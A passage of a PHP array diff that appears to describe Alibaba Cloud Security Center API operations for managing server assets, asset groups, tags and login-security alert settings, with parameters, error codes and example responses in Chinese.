+ ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 44,\\n \\"MachineList\\": [\\n {\\n \\"Uuid\\": \\"6d5b361f-958d-48a8-a9d2-d6e82c1****\\",\\n \\"MachineRegion\\": \\"cn-hangzhou\\",\\n \\"InternetIp\\": \\"120.79.XX.XX\\",\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"Os\\": \\"linux\\",\\n \\"InstanceId\\": \\"sas-bdrvxb4b****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取离线服务器', + ], + 'CheckUserHasEcs' => [ + 'summary' => '校验是否含有ECS资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '校验是否含有ECS返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '是否含有ECS。取值：'."\n" + ."\n" + .'- **true**：含有'."\n" + .'- **false**：未有', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\"\\n}","type":"json"}]', + 'title' => '校验是否含有ECS', + ], + 'CreateOrUpdateAssetGroup' => [ + 'summary' => '修改资产与资产分组的关系，即修改资产所属的分组，或某个资产分组下的资产列表项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91931', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要创建或修改的服务器分组下的服务器的UUID。多个UUID使用半角逗号（,）分隔。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'aq12-***,s23***', + ], + ], + [ + 'name' => 'GroupName', + 'in' => 'query', + 'schema' => [ + 'description' => '要创建或修改服务器列表的服务器分组名称。'."\n" + .'> 修改服务器与服务器分组关系时，需要提供待修改服务器分组的名称，该名称可调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取。 如果请求参数未输入GroupId，调用该接口会创建新的资产分组，此时必须输入该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + 'maxLength' => 45, + 'minLength' => 1, + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改服务器列表的服务器分组ID。'."\n" + .'> 修改资产与资产分组关系时，需要提供待修改资产分组的ID，该ID可调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取。如果不输入此参数，调用该接口会创建一个新的资产分组。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '55426', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'GroupId' => [ + 'description' => '服务器分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '9935302', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E70074C8-DFB4-44C5-96C7-909DD231D68A', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'GroupNameRepeated', + 'errorMessage' => 'group name repeated', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'Service error, please try again later.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"GroupId\\": 9935302,\\n \\"RequestId\\": \\"E70074C8-DFB4-44C5-96C7-909DD231D68A\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 9935302\\n E70074C8-DFB4-44C5-96C7-909DD231D68A\\n","errorExample":""}]', + 'title' => '修改资产与资产分组关系', + 'description' => '一台服务器只能存在一个资产分组中。如果您在该接口请求参数中传入的服务器属于其他分组，该接口调用结束后，该服务器会从原先的资产分组中移出，移入您新创建的资产分组或指定的资产分组中。', + 'requestParamsDescription' => '以下是CreateOrUpdateAssetGroup接口在创建资产分组和修改资产分组下的资产两种使用场景下的请求参数配置说明：'."\n" + .'- 创建资产分组：请求参数无需输入**GroupId**，必须输入**GroupName**，**Uuids**可输入也可不输入。'."\n" + .'- 修改资产分组下的资产 ：请求参数必须输入**GroupId**和**Uuids**，**GroupName**可输入也可不输入。'."\n", + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'RefreshAssets' => [ + 'summary' => '同步资产的数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92427', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '同步的资产类型。默认**ecs**，取值：'."\n" + .'- **cloud_product**：云产品'."\n" + .'- **ecs**：服务器'."\n" + .'- **container_image**：容器镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'cloud_product', + ], + ], + [ + 'name' => 'CloudAssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品类型。取值：'."\n" + ."\n" + .'- **0**：云服务器'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书'."\n" + .'- **14**：云效'."\n" + .'- **15**：访问控制'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL'."\n" + .'- **21**：服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'CloudAssetSubType', + 'in' => 'query', + 'schema' => [ + 'description' => '云产品子类型。'."\n" + ."\n" + .'> 取值参考以下列表。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57B795', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'DuplicatedRefresh', + 'errorMessage' => 'Refresh in progress, please wait.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57B795\\"\\n}","type":"json"}]', + 'title' => '同步资产', + 'requestParamsDescription' => ''."\n" + .'| 云资产类型 | 云产品子类型 | 产品名 | 子产品名|'."\n" + .'| -------- | ---------- | ------ | ----- |'."\n" + .'| 0 | 0 | 云服务器 ECS | 实例 |'."\n" + .'| 0 | 1 | 磁盘（存储）| 磁盘（存储）|'."\n" + .'| 0 | 2 | 安全组 | 安全组 |'."\n" + .'| 1 | 0 | 负载均衡 | 负载均衡 |'."\n" + .'| 1 | 1 | 负载均衡 | 应用型负载均衡 |'."\n" + .'| 3 | 0 | 云数据库 RDS | 实例 |'."\n" + .'| 4 | 0 | 云数据库 MongoDB 版 | 实例 |'."\n" + .'| 5 | 0 | 云数据库 Tair（兼容 Redis） | 实例 |'."\n" + .'| 6 | 1 | 容器镜像服务 | 企业版 |'."\n" + .'| 6 | 2 | 容器镜像服务 | 个人版 |'."\n" + .'| 8 | 0 | 容器服务Kubernetes版 | 集群 |'."\n" + .'| 9 | 0 | 专有网络VPC | NAT网关 |'."\n" + .'| 9 | 1 | 专有网络VPC | EIP |'."\n" + .'| 9 | 2 | 专有网络VPC | VPN |'."\n" + .'| 11 | 0 | 操作审计 | 跟踪 |'."\n" + .'| 12 | 0 | CDN | 实例 |'."\n" + .'| 13 | 0 | 数字证书管理服务（原SSL证书）| 证书 |'."\n" + .'| 14 | 0 | 云效 | 组织 |'."\n" + .'| 15 | 0 | 访问控制 | 账号别名 |'."\n" + .'| 15 | 1 | 访问控制 | 用户 |'."\n" + .'| 15 | 2 | 访问控制 | 权限策略 |'."\n" + .'| 15 | 3 | 访问控制 | 分组 |'."\n" + .'| 16 | 0 | DDoS防护| 实例 |'."\n" + .'| 17 | 1 | Web应用防火墙| 域名 |'."\n" + .'| 18 | 0 | 对象存储| Bucket |'."\n" + .'| 19 | 0 | 云原生关系型数据库 PolarDB| 集群 |'."\n" + .'| 20 | 0 |云数据库 PostgreSQL 版| 实例 |'."\n" + .'| 21 | 0 | 微服务引擎| 集群 |'."\n" + .'| 22 | 0 | 文件存储NAS| 文件系统 |'."\n" + .'| 23 | 0 | 数据安全中心| 实例 |'."\n" + .'| 24 | 0 | 弹性公网IP| 任播弹性公网IP |'."\n" + .''."\n" + ."\n" + .''."\n" + .'| AssetType | AssetSubType | AssetName | AssetSubName |'."\n" + .'| -------- | ---------- | ------ | ----- |'."\n" + .'| 0 | 0 | ECS | INSTANCE |'."\n" + .'| 0 | 1 | ECS | DISK |'."\n" + .'| 0 | 2 | ECS | SECURITY_GROUP |'."\n" + .'| 1 | 0 | SLB | CLB |'."\n" + .'| 1 | 1 | SLB | ALB |'."\n" + .'| 3 | 0 | RDS | INSTANCE |'."\n" + .'| 4 | 0 | MONGODB | INSTANCE |'."\n" + .'| 5 | 0 | KVSTORE | INSTANCE |'."\n" + .'| 6 | 1 | ACR| REPOSITORY_ENTERPRISE |'."\n" + .'| 6 | 2 | ACR| REPOSITORY_PERSON |'."\n" + .'| 8 | 0 | CSK| CLUSTER |'."\n" + .'| 9 | 0 | VPC| NAT_GATEWAY |'."\n" + .'| 9 | 1 | VPC| EIP |'."\n" + .'| 9 | 2 | VPC| VPN |'."\n" + .'| 11 | 0 | ACTIONTRAIL| TRIAL |'."\n" + .'| 12 | 0 | CDN| INSTANCE |'."\n" + .'| 13 | 0 | CAS| CERTIFICATE |'."\n" + .'| 14 | 0 | RDC| ORGANIZATION |'."\n" + .'| 15 | 0 | RAM| ALIAS |'."\n" + .'| 15 | 1 | RAM| USER |'."\n" + .'| 15 | 2 | RAM | POLICY |'."\n" + .'| 15 | 3 | RAM| GROUP |'."\n" + .'| 16 | 0 | DDoS| INSTANCE |'."\n" + .'| 17 | 1 | WAF| DOMAIN |'."\n" + .'| 18 | 0 | OSS| Bucket |'."\n" + .'| 19 | 0 | POLARDB| CLUSTER |'."\n" + .'| 20 | 0 | POSTGRESQL| INSTANCE |'."\n" + .'| 21 | 0 | MSE| CLUSTER |'."\n" + .'| 22 | 0 | NAS| FILE_SYSTEM |'."\n" + .'| 23 | 0 | SDDP| INSTANCE |'."\n" + .'| 24 | 0 | EIP| ANYCAST_EIP |'."\n" + .'', + ], + 'DeleteGroup' => [ + 'summary' => '删除服务器分组。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91959', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.172.XX.XX', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要删除的服务器分组ID。'."\n" + .'> 删除服务器分组，需要提供服务器分组ID，该ID可调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '9454789', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Code\\": \\"200\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n\\t7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n","errorExample":""}]', + 'title' => '删除服务器分组', + 'description' => '不支持删除云安全中心默认提供的服务器分组，即**未分组**。您删除某个分组后，该分组中的资产默认被移入**未分组**中。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DeleteTagWithUuid' => [ + 'summary' => '删除资产绑定的自定义标签。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'TagName', + 'in' => 'query', + 'schema' => [ + 'description' => '标签名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'abc', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的UUID列表。'."\n" + .'> 如果设置了UuidList，调用本接口时云安全中心只删除UuidList涉及到的服务器上的该标签。如果UuidList为空，云安全中心会删除所有服务器上的该标签。', + 'type' => 'string', + 'required' => false, + 'example' => '111-xx,aa-bb', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\n","errorExample":""}]', + 'title' => '删除资产标签', + 'description' => '资产标签可分为资产重要性标签和自定义标签。调用本接口时，仅支持删除资产绑定的自定义标签，不支持删除资产重要性标签。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DeleteLoginBaseConfig' => [ + 'summary' => '删除单个资产详情页中登录安全设置的基础配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91966', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要删除的常用登录的配置类型。取值：'."\n" + .'- **login_common_ip**：常用登录IP'."\n" + .'- **login_common_time**：常用登录时间'."\n" + .'- **login_common_account**：常用登录账号'."\n" + .'- **login_common_location**：常用登录地址', + 'type' => 'string', + 'required' => true, + 'example' => 'login_common_time', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要删除的配置信息的详细内容。不同配置类型对应不同的配置信息。取值：'."\n" + .'- **login_common_ip**：常用登录IP '."\n" + .'示例：{"ip":"10.23.23.23"}'."\n" + .'- **login_common_time**：常用登录时间 '."\n" + .'示例：{"startTime":"06:00:00","endTime":"16:00:00"}'."\n" + .'- **login_common_account**：常用登录账号 '."\n" + .'示例：{"account":"test_account_001"}'."\n" + .'- **login_common_location**：常用登录地址 '."\n" + .'示例：{"location":"上海市"}', + 'type' => 'string', + 'required' => true, + 'example' => '{"startTime":"06:00:00","endTime":"16:00:00"}', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要删除配置的服务器的UUID。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'GroupOrGlobalConfig', + 'errorMessage' => 'Group or global config.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n","errorExample":""}]', + 'title' => '删除登录安全设置基础配置信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyTagWithUuid' => [ + 'summary' => '修改资产的标签名称或修改指定标签下包含的资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92395', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'UuidList', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改的标签下的资产实例的UUID列表。多个UUID使用半角逗号（,）分隔。'."\n" + ."\n" + .'>您可调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口查询资产标签下的资产实例的UUID列表。如果该参数为空，将清空**TagList**参数指定的标签下的所有资产实例。', + 'type' => 'string', + 'required' => false, + 'example' => 'e2737dc3-78f4-4653-a986-dc5fad4b****,c189f0e3-df22-42d5-a73d-02c05667****', + ], + ], + [ + 'name' => 'TagList', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改标签的名称列表。多个标签名称使用半角逗号（,）隔开。'."\n" + ."\n" + .'> 您可调用[DescribeGroupedTags](~~DescribeGroupedTags~~)接口查询资产标签的名称列表。', + 'type' => 'string', + 'required' => true, + 'example' => 'ac,ad', + ], + ], + [ + 'name' => 'TagId', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改标签的标签ID。'."\n" + ."\n" + .'> 您可调用[DescribeGroupedTags](~~DescribeGroupedTags~~)接口查询资产标签的标签ID。', + 'type' => 'string', + 'required' => false, + 'example' => '3897941', + ], + ], + [ + 'name' => 'MachineTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改的资产类型。取值：'."\n" + .'- **ecs**：服务器，包括阿里云和非阿里云服务器。'."\n" + .'- **cloud_product**：云产品。'."\n" + ."\n" + .'> 不传该参数，默认指定资产类型为**ecs**。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '主机资产标签管理的服务器的配置信息。此参数为JSON格式，包含以下参数：'."\n" + ."\n" + .'- **Target**：要添加或删除的服务器的UUID。'."\n" + .'- **targetType**：生效资产的添加模式。取值：'."\n" + .' - **uuid**：按单个服务器添加。'."\n" + .' - **groupId**：按照服务器分组添加。'."\n" + .'- **flag**：对该资产的具体操作。取值：'."\n" + .' - **del**：将该服务器从规则中删除。'."\n" + .' - **add**：将该服务器添加到规则中。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"target":"inet-7c676676-06fa-432e-90fb-b802e5d6****","targetType":"uuid","flag":"add"}]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '70C4B40D-D55E-4B7B-9992-8535E396B2F4', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'MissingTagList', + 'errorMessage' => 'TagList is mandatory for this action.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"70C4B40D-D55E-4B7B-9992-8535E396B2F4\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 70C4B40D-D55E-4B7B-9992-8535E396B2F4\\n","errorExample":""}]', + 'title' => '修改资产标签名或标签中的资产', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyLoginSwitchConfig' => [ + 'summary' => '开启或关闭资产基本信息中的登录安全设置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92375', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Item', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要开启或关闭的开关类型。取值：'."\n" + .'- **login_common_ip**： 非常用登录IP告警'."\n" + .'- **login_common_time**： 非常用登录时间告警'."\n" + .'- **login_common_account**： 非常用账号登录告警', + 'type' => 'string', + 'required' => true, + 'example' => 'login_common_account', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要配置的开关的状态。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B256A525-7E42-4BB9-A27C-9017FDDFF1A2', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataExists', + 'errorMessage' => 'data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B256A525-7E42-4BB9-A27C-9017FDDFF1A2\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n B256A525-7E42-4BB9-A27C-9017FDDFF1A2\\r\\n","errorExample":""}]', + 'title' => '开启或关闭资产基本信息登录安全设置', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyLoginBaseConfig' => [ + 'summary' => '修改单个资产登录安全设置的基础配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92374', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改的服务器异常登录检测的类型。取值：'."\n" + ."\n" + .'- **login\\_common\\_location**：常用登录地。'."\n" + .'- **login\\_common\\_ip**：常用登录IP。'."\n" + .'- **login\\_common\\_time**：常用登录时间。'."\n" + .'- **login\\_common\\_account**：常用登录账号。', + 'type' => 'string', + 'required' => true, + 'example' => 'login_common_location', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '设置服务器异常登录检测规则的详细配置信息。此参数为JSON格式，包含以下参数：'."\n" + ."\n" + .'- 